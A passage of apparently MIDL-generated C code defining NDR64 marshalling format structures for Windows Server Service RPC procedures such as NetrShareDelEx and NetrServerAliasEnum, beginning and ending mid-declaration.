\nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag10_t;\nextern const __midl_frag10_t __midl_frag10;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag9_t;\nextern const __midl_frag9_t __midl_frag9;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag928_t __midl_frag928 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag927_t __midl_frag927 =\n{ \n/* *_SHARE_INFO_503_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag218\n};\n\nstatic const __midl_frag926_t __midl_frag926 =\n{ \n/* *_SHARE_INFO_501 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag925_t __midl_frag925 =\n{ \n/* *_SHARE_INFO_1005 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag211\n};\n\nstatic const __midl_frag924_t __midl_frag924 =\n{ \n/* *_SHARE_INFO_1501_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag205\n};\n\nstatic const __midl_frag922_t __midl_frag922 =\n{ \n/* *_SHARE_INFO_1004 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag200\n};\n\nstatic const __midl_frag921_t __midl_frag921 =\n{ \n/* *_SHARE_INFO_502_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag190\n};\n\nstatic const __midl_frag920_t __midl_frag920 =\n{ \n/* *_SHARE_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag183\n};\n\nstatic const __midl_frag919_t __midl_frag919 =\n{ \n/* *_SHARE_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag178\n};\n\nstatic const __midl_frag917_t __midl_frag917 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag916_t __midl_frag916 =\n{ \n/* _SHARE_INFO */\n    { \n    /* _SHARE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag917,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag922,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag919,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag920,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag921,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1004 /* 0x3ec */,\n        &__midl_frag922,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1006 /* 0x3ee */,\n        &__midl_frag925,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag924,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag925,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag926,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag927,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 0 /* 0x0 */\n};\n\nstatic const __midl_frag915_t __midl_frag915 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag916\n};\n\nstatic const __midl_frag913_t __midl_frag913 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag912_t __midl_frag912 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag913\n};\n\nstatic const __midl_frag911_t __midl_frag911 =\n{ \n/* NetrShareDelEx */\n    { \n    /* NetrShareDelEx */      /* procedure NetrShareDelEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ShareInfo */      /* parameter ShareInfo */\n        &__midl_frag916,\n        { \n        /* ShareInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag909_t __midl_frag909 =\n{ \n/* *_SERVER_ALIAS_INFO_0 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag879\n};\n\nstatic const __midl_frag907_t __midl_frag907 =\n{ \n/* _SERVER_ALIAS_INFO */\n    { \n    /* _SERVER_ALIAS_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag917,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag909,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag906_t __midl_frag906 =\n{ \n/* *_SERVER_ALIAS_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag907\n};\n\nstatic const __midl_frag902_t __midl_frag902 =\n{ \n/* NetrServerAliasDel */\n    { \n    /* NetrServerAliasDel */      /* procedure NetrServerAliasDel */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag907,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag899_t __midl_frag899 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag897_t __midl_frag897 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag895_t __midl_frag895 =\n{ \n/*  */\n    { \n    /* *_SERVER_ALIAS_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag893\n    }\n};\n\nstatic const __midl_frag894_t __midl_frag894 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag893_t __midl_frag893 =\n{ \n/* *_SERVER_ALIAS_INFO_0 */\n    { \n    /* *_SERVER_ALIAS_INFO_0 */\n        { \n        /* *_SERVER_ALIAS_INFO_0 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SERVER_ALIAS_INFO_0 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag879\n        },\n        &__midl_frag894,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag892_t __midl_frag892 =\n{ \n/* SERVER_ALIAS_INFO_0_CONTAINER */\n    { \n    /* SERVER_ALIAS_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_ALIAS_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag895,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag891_t __midl_frag891 =\n{ \n/* *SERVER_ALIAS_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag892\n};\n\nstatic const __midl_frag889_t __midl_frag889 =\n{ \n/* _SERVER_ALIAS_ENUM_UNION */\n    { \n    /* _SERVER_ALIAS_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag894,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag891,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag888_t __midl_frag888 =\n{ \n/* _SERVER_ALIAS_ENUM_STRUCT */\n    { \n    /* _SERVER_ALIAS_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_ALIAS_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag889\n        },\n        { \n        /* _SERVER_ALIAS_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag887_t __midl_frag887 =\n{ \n/* *_SERVER_ALIAS_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag888\n};\n\nstatic const __midl_frag884_t __midl_frag884 =\n{ \n/* NetrServerAliasEnum */\n    { \n    /* NetrServerAliasEnum */      /* procedure NetrServerAliasEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag888,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag899,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag882_t __midl_frag882 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag879_t __midl_frag879 =\n{ \n/* _SERVER_ALIAS_INFO_0 */\n    { \n    /* _SERVER_ALIAS_INFO_0 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_ALIAS_INFO_0 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag882,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x10,    /* FC64_CHAR */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 3 /* 0x3 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag868_t __midl_frag868 =\n{ \n/* _TRANSPORT_INFO */\n    { \n    /* _TRANSPORT_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 312 /* 0x138 */,\n        &__midl_frag917,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag561,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag585,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag611,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const 